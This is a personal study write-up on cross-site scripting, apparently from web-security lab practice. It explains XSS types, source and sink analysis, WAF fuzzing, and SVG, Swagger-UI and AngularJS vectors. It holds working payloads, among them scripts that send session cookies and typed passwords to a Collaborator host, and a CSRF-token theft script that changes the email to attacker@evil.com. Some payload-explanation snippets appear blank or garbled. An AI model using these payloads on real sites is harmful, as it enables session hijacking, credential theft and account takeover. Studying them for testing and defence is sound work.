

XSS notes

Eyad Islam El-Taher

Friday, October 3, 2025

Introduction

Cross Site Scripting (XSS) \implies is a vulnerability that lets an attacker control some content of a web application (even the users of the web)

XSS vulnerabilities happen when

A web application uses unfiltered user input to build output content

XSS vulnerabilities happen where

In this kind of attacks user input is any parameter coming from the client side of the web application

- Cookies
- form inputs
- Request header
- Post parameters
- Get parameters

How XSS vulnerabilities effect on users

- Making their browser loading malicious content
- Performing operations on their behalf, like buying a product or changing a password
- Stealing their session cookies, thus being able to impersonate them on the vulnerable site

XSS main types:

The three main types of Cross-Site Scripting (XSS) are **Stored XSS**, **Reflected XSS**, and **DOM-Based XSS**. Stored XSS involves malicious scripts permanently stored on a server and then displayed to users. Reflected XSS occurs when an application reflects an attacker's script from a user's request back to their browser, often via a crafted link. DOM-Based XSS occurs when the vulnerability is in the client-side code that manipulates the Document Object Model (DOM), leading to the execution of the payload within the browser.

1. Stored (Persistent) XSS

Description: Malicious scripts are injected into a website's stored data (e.g., a database, forum post, user profile, photo, or comment field). When other users access this data, the script is served to their browser, executed as part of the legitimate HTML, and affects all visitors to that page.

Example: An attacker posts a comment on a blog containing the script below. When another user views the post, their browser executes the script, popping up an alert box.

1: Stored XSS example: malicious comment

```
<script>alert('XSS Attack!')</script>
```

2. Reflected XSS

Description: An attacker crafts a malicious URL or link that includes a script as a parameter. When a victim clicks this link or submits a specially crafted form, the application reflects the script in its response, which is then executed in the victim's browser.

Example: A website's search function displays "Search results for: [user input]" without proper escaping. An attacker can create a link like the one below. Clicking it sends the script to the server, which includes it in the response, and the script runs in the user's browser.

2: Reflected XSS example: crafted search URL

```
https://insecure-website.com/search?term=<script>alert('XSS')</script>
```

3. DOM-Based XSS

Description: This type of XSS is a client-side vulnerability where the malicious script is executed due to a flaw in the way the browser or client-side JavaScript processes dynamic content. The attack happens entirely within the browser, without necessarily sending the payload to the server.

Example: A webpage uses JavaScript to read a user's location from the URL's `context=` parameter (e.g., `document.URL.indexOf("context=")`), takes the text after it, and uses `document.write` to insert it into the HTML. An attacker could create a URL like the one below to execute the script.

3: DOM-Based XSS example: URL with payload in fragment

```
https://example.com/page#context=<script>alert('DOM XSS')</script>
```

SOURCE VS SINK:

Source \implies any place JavaScript reads attacker-controllable data from (URL, hash, window.name, storage, postMessage, form fields, etc.)

Sink \implies any point that uses that data in a way that can become code/HTML/attributes — where an attacker string becomes executable or changes page structure (innerHTML, document.write, eval, setAttribute, insertAdjacentHTML, location = 'javascript:...', etc.).

DOM XSS happens when a tainted source flows into a dangerous sink without proper sanitization.

XSS uploading a malicious SVG file

Scalable Vector Graphic (SVG) \implies is a unique type of image format. Unlike other varieties, SVGs don't rely on unique pixels to make up the images you see. Instead, they use 'vector' data. SVG files are written in XML, a markup language used for storing and transferring digital information. What some people don't know is that SVG files are capable of holding javascript using regular `<script>` tags and browsers will parse and execute the code when the file URL is requested directly, examples below:

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics
/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" >
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke=
"#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>
```

or you can simply download a svg file with payload from github or any site

XSS via Swagger-UI

Swagger UI \Rightarrow is a really common library used to display API specifications in a nice-looking UI used by almost every company, Swagger UI versions affected with the XSS are **from 3.14.1 to 3.37.0** because they are using an outdated version of the library DOMPurify.

Many Swagger UI instances let the page load an OpenAPI/Swagger JSON or YAML from a URL passed in the query string like

```
https://attacker.example.com/Swagger?
```

all you need to do is adding a payload as a query parameter so the URL be like

```
https://attacker.example.com/Swagger?config=payload
https://attacker.example.com/Swagger?configUrl=payload
https://attacker.example.com/Swagger?url=payload
```

you can get the payload from github repos and it's something like

```
https://jumpy-floor.surge.sh/test.json
https://jumpy-floor.surge.sh/test.yaml
```

Angular-js DOM XSS

Angular JS scans the DOM for ng-app (or other directives) and compile nodes that contains interpolations \Rightarrow `{{ }}`

userInput \Rightarrow reflected into an Angular-compiled node \Rightarrow Angular evaluate it \Rightarrow JS code run

you can try just `{{1+1}}` if the output is 2 so you have Angular js DOM XSS

try Angular-js DOM XSS payloads like

```
{{ $on.constructor ('alert('xss')')() }}
{{ constructor.constructor ('alert('xss')')() }}
```

My Methodology

1. go to entry point and write a very unique string like Eyaduitto
2. do view page source and Figure out how this site deals with my string
3. try to know how the WAF behalf by entering

```
<Eyaduitto> "Eyad'uitto'
```

4. from the previous info now i can find a way to the vulnerability

tag and attribute fuzzing

1. Quick Reconnaissance

```
<!-- Test if basic XSS is blocked -->
<script>alert(1)</script>
img src=x onerror=alert(1)>
<svg onload=alert(1)>
```

Observation: If all get blocked, proceed to tag/attribute fuzzing.

2. Send the request to Burp Intruder and try to fuzz the tag first like

```
GET /?search=$s$ HTTP/1.1
```

3. Visit the XSS cheat sheet and click "Copy tags to clipboard" and load them to the Intruder then launch the attack
4. for example we found that WAF do not block <body> so now we have to fuzz the events too
5. Visit the XSS cheat sheet and click "Copy events to clipboard" and load them to the Intruder then launch the attack but for

```
GET /?search=%3Cbody+$$$%3E HTTP/1.1
```

Exploiting cross-site scripting examples explaining

Using Burp Suite Collaborator to Steal Cookies

1. Using Burp Suite Professional, go to the **Collaborator tab**
2. Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard
3. Submit the following payload in a blog comment, inserting your Burp Collaborator subdomain where indicated:

```
<script> fetch('https://BURP-COLLABORATOR-SUBDOMAIN',
{ method: 'POST', mode: 'no-cors', body: document.cookie }); </script>
```

4. This script will make anyone who views the comment issue a POST request containing their cookie to your subdomain on the public Collaborator server
5. Go back to the Collaborator tab, and click "Poll now". You should see an HTTP interaction. If you don't see any interactions listed, wait a few seconds and try again
6. Reload the main blog page, using Burp Proxy or Burp Repeater to replace your own session cookie with the one you captured in Burp Collaborator

How This Attack Works:

- The malicious script executes in the victim's browser when they view the compromised page
- `fetch()` API sends an HTTP POST request to the attacker-controlled Collaborator server
- `document.cookie` contains the victim's session cookies
- `mode: 'no-cors'` allows the request to be sent despite cross-origin restrictions

Using Burp Suite Collaborator to Steal Login Credentials

1. Using Burp Suite Professional, go to the **Collaborator tab**
2. Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard
3. Submit the following payload in a blog comment, inserting your Burp Collaborator subdomain where indicated:

```
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)
fetch('https://BURP-COLLABORATOR-SUBDOMAIN',
{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });">
```

4. This script will make anyone who views the comment issue a POST request containing their username and password to your subdomain of the public Collaborator server
5. Go back to the Collaborator tab, and click "Poll now". You should see an HTTP interaction. If you don't see any interactions listed, wait a few seconds and try again

How This Attack Works:

- Creates fake username and password input fields on the vulnerable page
- The `onchange` event triggers when the user types their password
- `if(this.value.length)` ensures the request is only sent when password field has content
- Combines username and password with a colon separator in the POST body
- Sends the credentials to the attacker's Collaborator server in real-time
- Attacker can then use the stolen credentials to authenticate as the victim

Security Impact:

- **Session Hijacking:** Attacker gains full access to victim's account
- **Credential Theft:** Attacker captures login credentials for other systems
- **Identity Impersonation:** Attacker can perform actions as the victim
- **Data Breach:** Potential access to sensitive user data

Exploiting XSS Vulnerabilities Using XSS.report website

XSS.report automatically verifies if submitted payloads successfully execute, providing immediate confirmation of vulnerability validity without manual testing.

Exploitation Workflow:

Discover potential XSS vector in target application

Use payload from XSS.report or craft one using them

When a user trigger the vuln his data is send to xss report in the dashboard

NOTES

- when a server installs a cookie into a client with the `http-only` attribute -> the client will set the `http-only` flag for that cookie => this prevent JavaScript, flash, java and other non HTML technology from reading the cookie => preventing cookie stealing via XSS
- it's possible that the site has an xss but the WAF blocks the important keywords like `alert`, `confirm`, `write`, `prompt` and other
- WAF can block the execution of command like `alert` without block the word itself from getting to the server
- if you found your unique string in the view-source like that

```
<h2 id="pageName">search for Eyaduitto</h2>
```

then you need to close the `h2` tag first then write the rest of your payload, so final payload will be like

```
</h2> <svg /onload=alert()>
```

so the view-source will be like

```
<h2 id="pageName">search for </h2>
<svg /onload=alert()> <!-- </h2>
```

now there is `h2` tag and `svg` tag and commented close tag

- if the Content Type header is "Content-Type: image/svg+xml; charset=us-ascii" then the website is likely vulnerable to XSS via SVG file

- if the WAF blocks < and > do not try to force using them Instead if it is inside "Input field" try a payload with an attribute like this

```
" onmouseover="alert('XSS')"
```

- JavaScript in anchor href if executable \Rightarrow Which means any link whose href starts with javascript: is not a normal URL \Rightarrow So when a user click on the link the browser will interpret the rest of the href as JavaScript code

```
href="javascript:alert('XSS')"
```

- you may need to use JavaScript single-line comment \Rightarrow //
- you may need to use encoding like HTML Encoding or URL Encoding and maybe multi layer encoding
- Identifying jQuery code within a web application can be done through several methods
 1. Dollar Sign \$ as a Function: jQuery heavily utilizes the dollar sign \$ as an alias for the jQuery() function. Look for code snippets where \$ is used as a function call like \$('myClass').hide(); \$('#myId'). While \$ can be used by other libraries, its frequent and consistent use in DOM manipulation and event handling is a strong indicator of jQuery.
 2. jQuery-Specific Methods: Identify methods like .ajax(), .animate(), .fadeIn(), .slideToggle(), .each(), .css(), .attr(), which are characteristic of jQuery's API.

- if you have string then your payload in executable spot like eval () something like that

```
eval('{ "results": ' + userInput + ' }');
```

so your payload must have an operator like - + |

```
"-alert(1)}//"
```

After processing, the code might look like:

```
{"results": ""-alert(1)}//"
```

"" (empty string) gets converted to number 0 , alert() returns undefined and The unary minus tries to do: 0 - undefined but at the end This results in NaN (Not a Number), but the alert already executed

- the iframe tag is so powerful in real world exploitations
- some payloads you have to put it in the url directly not the searchbox like

```
<xss id="x" onfocus=alert(Document.cookie) tabindex=1>#x
```

the searchbox will encode the #x so it will not trigger the element with the id="x" so we put it directly in the URL

- **Canonical Link**

It is an HTML element that tells search engines which version of a URL is the "master" or "preferred" version when you have multiple URLs showing the same or very similar content, you will find it in the Head section of the html and the Syntax like

```
<link rel="canonical" href="https://example.com/preferred-page" />
```

canonical link \Rightarrow tells search engines to treat 'https://example.com/preferred-page?xyz' as a duplicate of 'https://example.com/preferred-page' for indexing and ranking purposes, but users will still see the original URL with query parameters in their browser.

So if you have URL: "https://store.com/shoes?color=red&size=10"

and the Canonical: "https://store.com/shoes"

this will happen:

User sees: https://store.com/shoes?color=red&size=10

Google indexes: https://store.com/shoes as the main version

SEO value goes to: https://store.com/shoes

• Payload Explaining

for this script inside index.html with angle brackets and double quotes HTML-encoded and single quotes escaped

```
</section>
  var searchTerms = '';
  document.write('');
</section>
```

the payloads worked

```
\'-alert(1)// or \'&alert(1)// or \'|alert(1)// or \'+alert(1)//
```

Why It Worked:

The backslash \ before the quote \' becomes \\'. This means just backslash + quote \Rightarrow \'

When encodeURIComponent(searchTerms) processes \';alert()// \Rightarrow It becomes: %5C';alert()// where %5C is the URL-encoded backslash

Now Final document.write() Output is

```
document.write('');
```

Which renders as HTML:

```

```

The browser sees this HTML and the single quote ' in the URL then Closes the src attribute at searchTerms= and XSS trigger by The remaining \';alert()//"

• Payload Explaining

the payload \Rightarrow http://foo?'-alert(1)-'

Why It Worked: The payload exploits HTML entity decoding and JavaScript type coercion:

```
Original Input: http://foo?&apos;-alert(1)-'
After HTML Decoding: http://foo?'-alert(1)-'
```

Original JavaScript Context:

```
tracker.track('http://foo?&apos;-alert(1)-''')
```

After HTML Decoding:

```
tracker.track('http://foo?'-alert(1)-''')
```

JavaScript Interpretation:

```
'http://foo?' - alert(1) - '''
```

Execution Mechanism:

- The - operator triggers JavaScript type conversion
- JavaScript attempts to convert all operands to numbers
- During conversion, `alert(1)` executes immediately
- The expression - '' completes the mathematical operation cleanly
- Results in NaN without breaking the script

• **Backticks in JS**

```
<script> var message = '5 search results for ''';  
document.getElementById('searchMessage').innerText = message; </script>
```

Vulnerability Analysis:

- User input is inserted into JavaScript **template literals** (backticks)
- The website performs **Unicode escape encoding** on special characters
- Output uses `innerText` which prevents HTML injection but allows JavaScript context breaking

Payload Strategy:

```
${alert(1)}
```

Why This Works: Template literals (backticks) support **expression interpolation** with `${}` After injection:

```
var message = 5 search results for '${alert(1)}';
```

The expression `${alert(1)}` executes immediately when the template literal is evaluated.

• **CSRF Token Theft + Account Takeover via XSS**

In portswigger lab number 24 for xss

- **XSS Vulnerability:** Found in blog comments
- **CSRF Protection:** Email change function requires token
- **Flaw:** CSRF token accessible via XSS

• **The Attack Flow**

Step 1: Steal the CSRF Token

```
// Fetch user's account page  
<script>  
var req = new XMLHttpRequest();  
req.onload = handleResponse;  
req.open('get', '/my-account', true);  
req.send();  
  
// Extract CSRF token from HTML  
function handleResponse() {  
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
```

Step 2: Use Token to Change Email

```
// Make authorized request with stolen token  
var changeReq = new XMLHttpRequest();  
changeReq.open('post', '/my-account/change-email', true);  
changeReq.send('csrf='+token+'&email=attacker@evil.com')  
};  
</script>
```


- **Why This Works**

- CSRF Protection Bypass**

- **Normal CSRF Protection:** Stops cross-site requests without token
 - **XSS Bypass:** Script runs in same origin → can read token from page
 - **Result:** Malicious request appears legitimate

- Account Takeover Steps**

1. Victim views malicious comment
2. Script runs with victim's session
3. Steals CSRF token from victim's own account page
4. Changes email to attacker-controlled address
5. Attacker uses "password reset" to new email
6. Complete account compromise

- **Key Points**

- Attack Requirements**

- XSS vulnerability anywhere on site
 - Sensitive function with CSRF protection
 - CSRF token visible in page HTML
 - No HttpOnly cookies for tokens

- Impact**

- Full account takeover
 - Bypasses all CSRF protection
 - Silent exploitation
 - High severity

- Prevention**

- HttpOnly cookies for sensitive tokens
 - Content Security Policy (CSP)
 - Input validation + output encoding
 - Separate authentication for sensitive actions

- **Remember** CSRF tokens protect against cross-site requests, but XSS can steal them to make authorized malicious requests from the same site.
-